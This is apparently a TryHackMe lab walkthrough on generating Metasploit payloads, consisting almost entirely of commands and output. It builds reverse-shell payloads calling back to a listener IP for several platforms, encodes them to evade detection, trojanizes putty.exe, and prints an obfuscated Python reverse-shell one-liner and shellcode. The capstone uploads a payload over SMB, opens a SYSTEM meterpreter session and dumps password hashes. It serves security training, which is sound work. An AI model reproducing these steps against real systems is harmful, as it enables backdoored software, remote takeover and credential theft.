# Metasploit: Payload Generation (TryHackMe) Link of the challenge on TryHackMe: **Metasploit: Payload Generation** ```markdown msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f exe -o shell.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 509 bytes Final size of exe file: 7680 bytes Saved as: shell.exe msfvenom -l payloads msfvenom -l payloads | grep linux | grep meterpreter msfvenom -l formats msfvenom -l encoders msfvenom -l platforms msfvenom -l archs ``` ```markdown msfvenom -p windows/x64/meterpreter/reverse_tcp --list-options Options for payload/windows/x64/meterpreter/reverse_tcp: ========================= Name: Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager Module: payload/windows/x64/meterpreter/reverse_tcp Platform: Windows Arch: x64 Needs Admin: No Total size: 450 Rank: Normal Provided by: skape sf OJ Reeves Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Description: Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker (Windows x64) Advanced options for payload/windows/x64/meterpreter/reverse_tcp: ========================= Name Current Setting Required Description ---- --------------- -------- ----------- AutoLoadExtensions priv, stdapi yes Automatically load extensions on bootstrap. AutoLoadStdapi true yes Automatically load the Stdapi extension AutoRunScript no A script to run automatically on session creation. AutoSystemInfo true yes Automatically capture system information on initiali zation. AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occ ur, in seconds EnableStageEncoding false no Encode the second stage payload EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal HandlerSSLCert no Path to a SSL certificate in unified PEM format, ign ored for HTTP transports InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript) MeterpreterDebugBuild false no Use a debug version of Meterpreter MeterpreterDebugLogging no The Meterpreter debug logging configuration, see htt ps://docs.metasploit.com/docs/using-metasploit/advan ced/meterpreter/meterpreter-debugging-meterpreter-se ssions.html PayloadUUIDName no A human-friendly name to reference this unique paylo ad (requires tracking) PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID PayloadUUIDSeed no A string to use when generating the payload UUID (de terministic) PayloadUUIDTracking false yes Whether or not to automatically register generated U UIDs PingbackRetries 0 yes How many additional successful pingbacks PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks PrependMigrate false yes Spawns and runs shellcode in new process PrependMigrateProc no Process to spawn and run shellcode in ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Conne ct back will NOT go through proxy but directly to LH OST ReverseListenerBindAddre no The specific IP address to bind to on the local syst ss em ReverseListenerBindPort no The port to bind to on the local system if different from LPORT ReverseListenerComm no The specific communication channel to use for this l istener ReverseListenerThreaded false yes Handle every connection in a new thread (experimenta l) SessionCommunicationTime 300 no The number of seconds of no activity before this ses out sion should be killed SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down SessionRetryTotal 3600 no Number of seconds try reconnecting for on network fa ilure SessionRetryWait 10 no Number of seconds to wait between reconnect attempts StageEncoder no Encoder to use if EnableStageEncoding is set StageEncoderSaveRegister no Additional registers to preserve in the staged paylo s ad if EnableStageEncoding is set StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible StagerRetryCount 10 no The number of times the stager should retry if the f irst connect fails StagerRetryWait 5 no Number of seconds to wait for the stager between rec onnect attempts VERBOSE false no Enable detailed status messages WORKSPACE no Specify the workspace for this module Evasion options for payload/windows/x64/meterpreter/reverse_tcp: ========================= ``` answer 1 & 2 ```markdown msfvenom --help [...] -f, --format Output format (use --list formats to list) -p, --payload Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom [...] ``` ## task 3 ```markdown msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f exe -o staged.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 509 bytes Final size of exe file: 7680 bytes Saved as: staged.exe ``` ```markdown msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f exe -o stageless.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 248902 bytes Final size of exe file: 256000 bytes Saved as: stageless.exe ``` ## task 4 ```markdown msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f exe -o shell.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 248902 bytes Final size of exe file: 256000 bytes Saved as: shell.exe ``` ```markdown msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f elf -o shell.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 1121480 bytes Final size of elf file: 1121480 bytes Saved as: shell.elf ``` ```markdown msfvenom -p php/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f raw -o shell.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 39836 bytes Saved as: shell.php ``` ```markdown msfvenom -p cmd/unix/reverse_python LHOST=10.114.121.234 LPORT=4444 -f raw [-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload [-] No arch selected, selecting arch: cmd from the payload No encoder specified, outputting raw payload Payload size: 431 bytes echo exec\(__import__\(\'zlib\'\).decompress\(__import__\(\'base64\'\).b64decode\(__import__\(\'codecs\'\).getencoder\(\'utf-8\'\)\(\'eNqFT8EKwjAM/ZXSUwtS17qb9DBkgogKbvfhamXD2Zal+3/XteJxgZC8vJc80n+cHT0Cq97aI4Q2c8LUutEqDZAGNjRo31nwEvOMcZ4zLjgTuxwvTLgh8zkWBDKeY7GQhIpjc7qW9c8kDqvb4dxU9b0sLjQuM2WN0coTEvySOhjQKLDAnpMTBNirH7SxhCZNtsLzFV5E3sn//0w9hoHgbdubLXSYfgF7f1SG\'\)\[0\]\)\)\) | $(which python || which python3 || which python2) - ``` ```markdown msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f c [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 201798 bytes Final size of c file: 853830 bytes unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50" "\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50" [...] ``` ```markdown msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.12 LPORT=5555 -f exe -o backdoor.exe ``` ## task 5 ```markdown msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 3 -o encoded.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload Found 1 compatible encoders Attempting to encode payload with 3 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 248931 (iteration=0) x86/shikata_ga_nai succeeded with size 248960 (iteration=1) x86/shikata_ga_nai succeeded with size 248989 (iteration=2) x86/shikata_ga_nai chosen with final size 248989 Payload size: 248989 bytes Final size of exe file: 256000 bytes Saved as: encoded.exe ``` ```markdown msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f c -b '\x00\x0a\x0d' [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload Found 2 compatible encoders Attempting to encode payload with 1 iterations of x64/xor x64/xor succeeded with size 503 (iteration=0) x64/xor chosen with final size 503 Payload size: 503 bytes Final size of c file: 2144 bytes unsigned char buf[] = "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef" "\xff\xff\xff\x48\xbb\x31\x8d\x4e\x13\x34\x1d\x3a\x65\x48" "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xcd\xc5\xcd" [...] ``` ```markdown msfvenom --help -b, --bad-chars Characters to avoid example: '\x00\xff' [...] ``` ## Task 6 ```markdown msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -x /root/templates/putty.exe -f exe -o putty_backdoor.exe ``` ```markdown msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -x /root/templates/putty.exe -k -f exe -o putty_backdoor.exe ``` ```markdown msfvenom -p android/meterpreter/reverse_tcp LHOST=10.114.121.234 LPORT=4444 -o evil.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload No encoder specified, outputting raw payload Payload size: 10253 bytes Saved as: evil.apk ``` ```markdown msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f macho -o shell.macho [-] No platform was selected, choosing Msf::Module::Platform::OSX from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 857592 bytes Final size of macho file: 857592 bytes Saved as: shell.macho ``` ```markdown msfvenom -p java/meterpreter/reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f war -o shell.war Payload size: 6213 bytes Final size of war file: 6213 bytes Saved as: shell.war ``` ```markdown msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f aspx -o shell.aspx [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 248902 bytes Final size of aspx file: 1258060 bytes Saved as: shell.aspx ``` ```markdown msfvenom -p java/meterpreter/reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f jsp -o shell.jsp ``` ```markdown msfvenom --help -x, --template Specify a custom executable file to use as a template -k, --keep Preserve the --template behaviour and inject the payload as a new thread -v, --var-name Specify a custom variable name to use for certain output formats -t, --timeout The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable) ``` ## Task 7 ```markdown msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f elf -o shell.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 248902 bytes Error: The payload could not be generated, check options ``` ```markdown msfconsole msf > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_tcp PAYLOAD => windows/x64/meterpreter_reverse_tcp msf exploit(multi/handler) > set LHOST 10.114.121.234 LHOST => 10.114.121.234 msf exploit(multi/handler) > set LPORT 4444 LPORT => 4444 msf exploit(multi/handler) > show options Payload options (windows/x64/meterpreter_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) EXTENSIONS no Comma-separate list of extensions to load EXTINIT no Initialization strings for extensions LHOST 10.114.121.234 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command. msf exploit(multi/handler) > run [*] Started reverse TCP handler on 10.114.121.234:4444 ``` ```markdown msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.114.121.234 LPORT=4444 -f exe -o shell.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 248902 bytes Final size of exe file: 256000 bytes Saved as: shell.exe ``` ## Capstone ```markdown msfvenom -p windows/x64/meterpreter_reverse_tcp \ LHOST=10.114.121.234 LPORT=443 \ -f exe -o /tmp/payload.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 248902 bytes Final size of exe file: 256000 bytes Saved as: /tmp/payload.exe ``` ```markdown msf > use auxiliary/admin/smb/upload_file [*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST msf auxiliary(admin/smb/upload_file) > msf auxiliary(admin/smb/upload_file) > set LPATH /tmp/payload.exe LPATH => /tmp/payload.exe msf auxiliary(admin/smb/upload_file) > set RPATH payload.exe RPATH => payload.exe msf auxiliary(admin/smb/upload_file) > set RHOSTS 10.114.137.102 RHOSTS => 10.114.137.102 msf auxiliary(admin/smb/upload_file) > run [*] 10.114.137.102:445 - Error: 10.114.137.102: RubySMB::Error::UnexpectedStatusCode The server responded with an unexpected status code: STATUS_ACCESS_DENIED [*] 10.114.137.102:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(admin/smb/upload_file) > ``` ```markdown msf > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf exploit(multi/handler) > msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_tcp PAYLOAD => windows/x64/meterpreter_reverse_tcp msf exploit(multi/handler) > set LHOST 10.114.121.234 LHOST => 10.114.121.234 msf exploit(multi/handler) > set LPORT 443 LPORT => 443 msf exploit(multi/handler) > run [*] Started reverse TCP handler on 10.114.121.234:443 ``` alt ```markdown msf > use auxiliary/scanner/smb/smb_enumshares [*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST msf auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 10.114.137.102 RHOSTS => 10.114.137.102 msf auxiliary(scanner/smb/smb_enumshares) > set SMBUser guest SMBUser => guest msf auxiliary(scanner/smb/smb_enumshares) > set SMBPass "" SMBPass => msf auxiliary(scanner/smb/smb_enumshares) > msf auxiliary(scanner/smb/smb_enumshares) > run [-] 10.114.137.102:139 - Login Failed: Unable to negotiate SMB1 with the remote host: Not a valid SMB packet [!] 10.114.137.102:445 - peer_native_os is only available with SMB1 (current version: SMB3) [!] 10.114.137.102:445 - peer_native_lm is only available with SMB1 (current version: SMB3) [+] 10.114.137.102:445 - ADMIN$ - (DISK|SPECIAL) Remote Admin [+] 10.114.137.102:445 - C$ - (DISK|SPECIAL) Default share [+] 10.114.137.102:445 - internal - (DISK) Internal files [+] 10.114.137.102:445 - IPC$ - (IPC|SPECIAL) Remote IPC [+] 10.114.137.102:445 - public - (DISK) Public uploads [*] 10.114.137.102: - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(scanner/smb/smb_enumshares) > ``` ```markdown msf > use auxiliary/admin/smb/upload_file [*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST msf auxiliary(admin/smb/upload_file) > set SMBSHARE public SMBSHARE => public msf auxiliary(admin/smb/upload_file) > set LPATH /tmp/payload.exe LPATH => /tmp/payload.exe msf auxiliary(admin/smb/upload_file) > set RPATH payload.exe RPATH => payload.exe msf auxiliary(admin/smb/upload_file) > set RHOSTS 10.114.137.102 RHOSTS => 10.114.137.102 msf auxiliary(admin/smb/upload_file) > set SMBUser guest SMBUser => guest msf auxiliary(admin/smb/upload_file) > set SMBPass "" SMBPass => msf auxiliary(admin/smb/upload_file) > run [+] 10.114.137.102:445 - /tmp/payload.exe uploaded to payload.exe [*] 10.114.137.102:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(admin/smb/upload_file) > ``` ```markdown msf > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_tcp PAYLOAD => windows/x64/meterpreter_reverse_tcp msf exploit(multi/handler) > msf exploit(multi/handler) > set LHOST 10.114.121.234 LHOST => 10.114.121.234 msf exploit(multi/handler) > set LPORT 443 LPORT => 443 msf exploit(multi/handler) > run [*] Started reverse TCP handler on 10.114.121.234:443 [*] Meterpreter session 1 opened (10.114.121.234:443 -> 10.114.137.102:49921) at 2026-06-09 08:31:06 +0000 meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:2dfe3378335d43f9764e581b856a662a::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: jim:1008:aad3b435b51404eeaad3b435b51404ee:1e3fe826df1e5af582a98c034cafa9f4::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1::: ``` ```markdown getuid Server username: NT AUTHORITY\SYSTEM meterpreter > getsystem [-] Already running as SYSTEM meterpreter > search -f *.txt -d C:\Users\Administrator [-] stdapi_fs_search: Operation failed: The system cannot find the path specified. meterpreter > shell Process 3944 created. Channel 1 created. Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>cd .. cd .. C:\Windows>cd .. cd .. C:\>cd Users cd Users C:\Users>cd Administrator cd Administrator C:\Users\Administrator>dir dir Volume in drive C has no label. Volume Serial Number is A8A4-C362 Directory of C:\Users\Administrator 03/17/2021 03:13 PM . 03/17/2021 03:13 PM .. 03/17/2021 03:13 PM 3D Objects 03/17/2021 03:13 PM Contacts 03/17/2021 03:13 PM Desktop 04/27/2026 05:52 AM Documents 03/17/2021 03:13 PM Downloads 03/17/2021 03:13 PM Favorites 03/17/2021 03:13 PM Links 03/17/2021 03:13 PM Music 03/17/2021 03:13 PM Pictures 03/17/2021 03:13 PM Saved Games 03/17/2021 03:13 PM Searches 03/17/2021 03:13 PM Videos 0 File(s) 0 bytes 14 Dir(s) 14,730,399,744 bytes free C:\Users\Administrator>dir Desktop dir Desktop Volume in drive C has no label. Volume Serial Number is A8A4-C362 Directory of C:\Users\Administrator\Desktop 03/17/2021 03:13 PM . 03/17/2021 03:13 PM .. 06/21/2016 03:36 PM 527 EC2 Feedback.website 06/21/2016 03:36 PM 554 EC2 Microsoft Windows Guide.website 2 File(s) 1,081 bytes 2 Dir(s) 14,730,399,744 bytes free C:\Users\Administrator>dir Documents dir Documents Volume in drive C has no label. Volume Serial Number is A8A4-C362 Directory of C:\Users\Administrator\Documents 04/27/2026 05:52 AM . 04/27/2026 05:52 AM .. 04/24/2026 12:24 PM 39 flag.txt 1 File(s) 39 bytes 2 Dir(s) 14,730,395,648 bytes free C:\Users\Administrator>type Documents\flag.txt type Documents\flag.txt THM{capst0ne_pwn3d_v1a_writable_redacted} ```